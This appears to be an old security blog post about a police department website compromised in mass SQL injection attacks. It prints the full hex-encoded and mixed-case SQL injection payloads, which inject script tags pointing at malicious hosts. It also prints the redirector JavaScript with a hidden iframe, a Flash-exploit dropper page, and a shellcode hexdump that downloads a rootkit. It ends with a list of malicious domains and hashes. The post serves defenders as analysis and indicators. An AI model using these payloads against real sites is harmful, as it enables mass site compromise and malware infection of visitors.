The Unnamed Police Department (we’ll just call them the UPD for short) is charged with keeping the peace in a major American metropolitan area. For a public safety website, theirs is quite advanced. Visitors can view dynamically generated maps showing the distribution of different classes of crimes, make anonymous tips to the narcotics squad, and even try to sign up to join the force. As those of us that work in information security well know, all that rich web functionality brings increased risk.

This past Thursday afternoon I received a report from a colleague that the UPD public website appeared to be serving up malicious JavaScript injections. The URLs of the injected scripts were consistent with the recent waves of mass SQL injection attacks that have targeted Microsoft IIS sites backed by Microsoft SQL Server databases. The injected JavaScript payloads were consistent with malicious scripts generated using the Neosploit obfuscation tool. The first stage script redirected victims to another script, this one hosted at a domain name registered just the day before with a German domain registrar.

The impact of all this? Visitors to the UPD website were having their web browsers loaded with a witches brew of exploits, potentially leading to complete system compromise. While not all visitors were successfully exploited, enough folks are getting owned with these attacks to make them increasingly popular with the bad guys. Users of a tool such as the NoScript extension for Firefox (or possibly Microsoft’s new XSSFilter being included with Internet Explorer 8) would have been protected.

I immediately contacted the UPD and reported the issue. The conversation was initially pretty humorous, as you might imagine. Fortunately, the department includes a cybercrimes unit and my report was immediately routed to them. The contact at the UPD called me back about 5 minutes later and informed me one of the investigators in the cybercrimes unit had indeed confirmed the problem, and that they were working to resolve the issue. To verify the report, the cybercrimes investigator supposedly browsed to the UPD’s own public website and saw his anti-virus software light up with warnings.

I checked back less than four hours later, and the site appeared clean. I’m impressed with the speed of the response, given previously reported compromises of state and local government websites (credit to Sunbelt Blog: here, here, here, and here). I really thought I had enough time to get home before writing a cron job to keep checking the site for when it got cleaned up!

Unless the underlying SQL injection vulnerability was fixed however, this site is very likely to fall victim again, and soon.

There’s a new round of the Mass SQL injection attacks that have been going on for the past few months. This time it looks like the bad guys are using a slightly different variant of the SQL injection attack and the backend malware dropper pages. In previous iterations the SQL attack looked like this:

;DECLARE%20@S%20NVARCHAR(4000);SET% 20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800
61007200280032003500350029002C00400043002000760061007200
63006800610072002800320035003500290020004400450043004C00
41005200450020005400610062006C0065005F004300750072007300
6F007200200043005500520053004F005200200046004F0052002000
730065006C00650063007400200061002E006E0061006D0065002C00
62002E006E0061006D0065002000660072006F006D00200073007900
73006F0062006A006500630074007300200061002C00730079007300
63006F006C0075006D006E0073002000620020007700680065007200
6500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D002700750027002000
61006E0064002000280062002E00780074007900700065003D003900
390020006F007200200062002E00780074007900700065003D003300
350020006F007200200062002E00780074007900700065003D003200
3300310020006F007200200062002E00780074007900700065003D00
310036003700290020004F00500045004E0020005400610062006C00
65005F0043007500720073006F007200200046004500540043004800
20004E004500580054002000460052004F004D002000200054006100
62006C0065005F0043007500720073006F007200200049004E005400
4F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F00530054004100540055005300
3D0030002900200042004500470049004E0020006500780065006300
2800270075007000640061007400650020005B0027002B0040005400
2B0027005D00200073006500740020005B0027002B00400043002B00
27005D003D0072007400720069006D00280063006F006E0076006500
72007400280076006100720063006800610072002C005B0027002B00
400043002B0027005D00290029002B00270027003C00730063007200
69007000740020007300720063003D0068007400740070003A002F00
2F007700770077002E006E006900680061006F007200720031002E00
63006F006D002F0031002E006A0073003E003C002F00730063007200
6900700074003E002700270027002900460045005400430048002000
4E004500580054002000460052004F004D0020002000540061006200
6C0065005F004300750020073006F007200200049004E0054004F002
000400054002C0040004300200045004E004400200043004C004F005
300450020005400610062006C0065005F0043007500720073006F007
20020004400450041004C004C004F004300410054004500200054006
10062006C0065005F0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);--

The new SQL injection looks slightly different. Less of the SQL code is contained within the CAST construct, so the total amount of code is smaller than the previous attack. The attacker did use the ever popular alternating ( aka elite ) caps in what appears to be an attempt to obfuscate the code. Thankfully for all those who write I(D|P)S rules, the good old /i flag will still match it.

;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20
tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20
sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTy
Pe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe
=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next
%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)
%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim
(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C7363726970742
07372633D687474703A2F2F7777772E7869616F6261697368616E2E6E65742
F64742F75732F48656C702E6173703E3C2F7363726970743E%20aS%20vArChAr
(67))')%20fEtCh%20next%20FrOm%0tAbLe_cursoR%20iNtO%20@t,@c%20eNd
%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- HTTP/1.1

On the other side of the exploit, users who are affected by the embeded script tags will be sent to this JavaScript page:

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("pidupdatessl=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000);
document.cookie = "pidupdatessl=update;expires=" + expires.toGMTString();
try{
document.write("<iframe src=hxxp://en-us18.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

That page then opens an invisible IFrame, which injects the code which actually drops the malicious Flash files.

<html>
<body>
<script>
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");
if(Flashver[2] == 115){
        document.write("<embed src=\"advert.swf\"></embed>");
}
if(Flashver[2] == 47){
        document.write("<embed src=\"banner.swf\"></embed>");
        }
</script>
</body>
</html>

That’s much cleaner than some of the previous rounds which would open up 3 or 4 different IFrames full of malware. Given that the Flash exploit is newer and more universal, I can see why the bad guys would decide to use it exclusively. There are reports that the newest Flash exploit will work on versions up to 115, which seems credible given that the bad guys are testing for that version. Previously the bad guys used a grab bag of ActiveX, RealPlayer and other exploits. I wouldn’t be suprised if that approach led to a lot more crashes. If any of the exploits failed it could cause the browser to crash, and that’s not even considering the possibility that the exploits might step on each others’ toes.

The malicious Flash files look to be based upon Mark Dowd’s Inhuman Flash exploit. They seem almost identical, with both downloading a root kit ( dddd.exe on one ddd2.exe on the other ) with very similar names. The root kits are both the same.

00000090  8b 03 c5 c3 75 72 6c 6d  6f 6e 2e 64 6c 6c 00 95  |....urlmon.dll..|
000000a0  bf d0 a7 17 47 e8 aa ff  ff ff 83 ec 04 83 2c 24  |....G.........,$|
000000b0  16 ff d0 95 50 bf e2 e6  58 1b e8 95 ff ff ff 8b  |....P...X.......|
000000c0  54 24 fc 8d 52 0e 33 db  53 53 52 eb 3b 43 3a 5c  |T$..R.3.SSR.;C:\|
000000d0  38 38 38 37 36 2e 65 78  65 00 53 ff d0 5d bf f7  |88876.exe.S..]..|
000000e0  7e be ad e8 6c ff ff ff  83 ec 04 83 2c 24 1b ff  |~...l.......,$..|
000000f0  d0 bf 02 f2 26 8f e8 59  ff ff ff 61 68 55 d6 1a  |....&..Y...ahU..|
00000100  30 83 c4 08 ff 64 24 f8  e8 cd ff ff ff 68 74 74  |0....d$......hxx|
00000110  70 3a 2f 2f 6c 6f 63 61  6c 65 34 38 2e 63 6f 6d  |p://locale48.com|
00000120  2f 61 64 2f 64 64 64 32  2e 65 78 65 00 00 00 00  |/ad/ddd2.exe....|

New Malicious domains:

• hxxp://o7n9.cn/
• hxxp://www.redir94.com/b.js
• hxxp://www.rexec39.com/b.js
• hxxp://www.locale48.com/b.js
• hxxp://www.rundll92.com/b.js
• hxxp://www.libid53.com/b.js
• hxxp://www.en-us18.com/b.js
• hxxp://www.script46.com/b.js
• hxxp://www.xiaobaishan.net/bjs

md5 hashes:

• a8002df6e691465bc0aad94c7bf86160 advert.swf
• ac3cb5bdbe3f6ed14cee7e5e94fc83a5 banner.swf
• 49b13ae1a881132440dd15e50310328f ddd2.exe
• 49b13ae1a881132440dd15e50310328f dddd.exe